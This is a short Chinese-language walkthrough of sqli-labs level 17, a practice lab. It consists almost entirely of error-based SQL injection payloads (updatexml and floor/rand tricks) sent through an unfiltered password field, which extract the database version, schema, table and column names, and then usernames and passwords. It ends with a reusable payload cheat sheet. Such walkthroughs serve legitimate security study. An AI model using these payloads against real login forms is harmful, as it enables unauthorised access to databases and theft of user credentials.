sqli-labs第十七关

查看源码单引号闭合

 

查看源码，发现uname被检查了，passwd没有被检查 ，所以尝试使用通过passwd参数进行注入测试

爆版本
uname=admin&passwd=admin' and (updatexml(1,concat(0x7e, version(),0x7e),1)) --+&submit=Submit

 爆库

uname=admin&passwd=admin' and updatexml(1,concat(0x7e,database(),0x7e),1) -- -&submit=Submit

 爆表名

uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),1) -- -&submit=Submit

 

爆列名

uname=admin&passwd=1' and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="users")),0x7e)) -- -&submit=Submit

 爆数据

uname=admin&passwd=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)#&submit=Submit

 

END!!!

爆版本
admin' and (updatexml(1,concat(0x7e, version(),0x7e),1)) -- -
爆库
admin' and updatexml(1,concat(0x7e,database(),0x7e),1) -- -
爆表名
admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),1) -- -
爆列名
1' and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))--+
爆列名
1' and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))--+
爆值
1'  and  updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') sqllab ),0x7e),1) --+
1'  and  updatexml(1,concat(0x7e,(select password from (select password from users limit 7,1) test ),0x7e),1) --+
1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)#